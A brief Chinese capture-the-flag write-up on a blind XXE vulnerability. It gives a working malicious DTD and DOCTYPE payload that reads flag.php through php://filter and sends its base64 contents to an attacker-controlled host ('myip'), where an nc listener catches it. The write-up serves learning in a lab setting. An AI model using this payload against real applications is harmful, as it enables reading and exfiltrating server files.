tell me

1. bp 抓包发现内容是 xml 标签，输入<>试探发现回显出现 loadxml().....基本确定是 xxe 漏洞。尝试外部实体注入，发现只显示成功，没有回显，确定是盲xxe。
2. 开一台服务器，在服务器上创建一个dtd文件内容如下

```
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://myip/%file;'>">
```

3. 发送外部实体如下

```
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://myip/test.dtd">
%xxe;%int;%send;]>
```

4. 再用nc监听打开的端口即可获得flag